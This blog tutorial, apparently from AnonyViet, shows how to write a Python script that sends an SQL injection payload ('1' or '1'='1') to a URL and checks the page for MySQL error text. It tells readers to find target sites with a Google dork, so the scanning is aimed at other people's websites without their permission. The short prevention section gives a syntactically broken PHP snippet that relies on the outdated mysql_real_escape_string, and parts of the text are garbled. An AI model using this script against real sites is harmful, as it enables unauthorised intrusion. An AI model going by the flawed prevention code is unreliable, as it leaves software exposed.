• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

Code guide to test Sql Injection security holes with Python script and how to prevent it.

AnonyViet by AnonyViet
January 30, 2023
in Security
0

In this post, AnonyViet will help you check if your website is attacked by python sql syntax 🙂 …!!!

Join the channel Telegram of the AnonyViet 👉 Link 👈

And it will only work if the variables use the GET method.

Here we will write a code in python language.

We will need an internet connection to check and a vulnerable website.

To find a vulnerable website for testing, go to google and type dorks SQLi :

inurl: "index.php? Cat_id ="

Code guide to test Sql Injection security holes with Python script and how to prevent it.  9

You follow the steps below to write a piece of python code:

First open notepad/sublime Text , … create a file then save it: new.py

We will use sys, urllib and urllib.request modules. So import the following libraries: import sys, urllib, urllib.request or import sys, import urllib and import urllib.request

Code guide to test Sql Injection security holes with Python script and how to prevent it.  ten

Next: Now we will need to select the input type.

1. Use the input(“”) command to get input from the user.

fullurl = input(“Please specify the full vulnerable url: “)

Code guide to test Sql Injection security holes with Python script and how to prevent it.  11

2. Code that makes a web request

This is the most important part.

resp = urllib.request.urlopen(fullurl + "=1\' or \'1\' = \'1\'")
body = resp.read()
fullbody = body.decode(‘utf-8’)

Code guide to test Sql Injection security holes with Python script and how to prevent it.  twelfth

Now make our program check if the target is vulnerable, once we have response then we have to check if it has SQL error.

We will use this code:

if “You have an error in your SQL syntax” in fullbody:

print (“The website is classic SQL injection vulnerable!”)

else:

print (“The website is not classic SQL injection vulnerable!”)

Code guide to test Sql Injection security holes with Python script and how to prevent it.  13Ok. Now let’s run it:

Use the command: python “name”.py

Then enter the site you found at the beginning.

Code guide to test Sql Injection security holes with Python script and how to prevent it.  14

Ok so it worked.

Method 2: Use it quickly, then use it

  • python “name”.py -w website

Now to prevent Hacker from checking my site with SQL injection, I do the following:

Prevent SQLi on MYSQL simply use the string mysql_real_escape for queries, for example:

$query = sprintf(“SELECT * FROM users where user=’%s’ AND password=’%s’,

                        mysql_real_escape_string($username)

                        mysql_real_escape_string($password)

Wish you success and accompany AnonyViet.

Love !!

The article achieved: 5/5 – (100 votes)

Tags: CodeGuideholesInjectionpreventPythonscriptsecuritySQLTest
Previous Post

Hacker ways to hack your Facebook and how to fix it

Next Post

3 OCR Tool Extract Text in Image without Retyping

AnonyViet

AnonyViet

Related Posts

How to use hackers use Splitfus to execute PowerShell malicious code
Security

How to use hackers use Splitfus to execute PowerShell malicious code

July 20, 2025
How to implement Shellcode Injection attack technique with Autoit
Security

How to implement Shellcode Injection attack technique with Autoit

March 14, 2025
How to exploit the holy hole of Hijacking on Windows
Security

How to exploit the holy hole of Hijacking on Windows

March 8, 2025
Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery
Security

Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery

February 10, 2025
Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile
Security

Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile

December 14, 2024
Capsolver: Automatic solution solution for business
Security

Capsolver: Automatic solution solution for business

December 12, 2024
Next Post
3 OCR Tool Extract Text in Image without Retyping

3 OCR Tool Extract Text in Image without Retyping

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

How to block pop-up requires location on Safari so as not to be disturbed

How to block pop-up requires location on Safari so as not to be disturbed

August 9, 2025
Openai launched GPT-5: Smarry and free for everyone!

Openai launched GPT-5: Smarry and free for everyone!

August 8, 2025
4 ways to fix bluetooth connectivity on Windows 11

4 ways to fix bluetooth connectivity on Windows 11

August 8, 2025
How to receive 3 months of free chatgpt plus from shopee

How to receive 3 months of free chatgpt plus from shopee

August 7, 2025
How to block pop-up requires location on Safari so as not to be disturbed

How to block pop-up requires location on Safari so as not to be disturbed

August 9, 2025
Openai launched GPT-5: Smarry and free for everyone!

Openai launched GPT-5: Smarry and free for everyone!

August 8, 2025
4 ways to fix bluetooth connectivity on Windows 11

4 ways to fix bluetooth connectivity on Windows 11

August 8, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

How to block pop-up requires location on Safari so as not to be disturbed

How to block pop-up requires location on Safari so as not to be disturbed

August 9, 2025
Openai launched GPT-5: Smarry and free for everyone!

Openai launched GPT-5: Smarry and free for everyone!

August 8, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí mm88 8XBET mm88

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí mm88 8XBET mm88

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply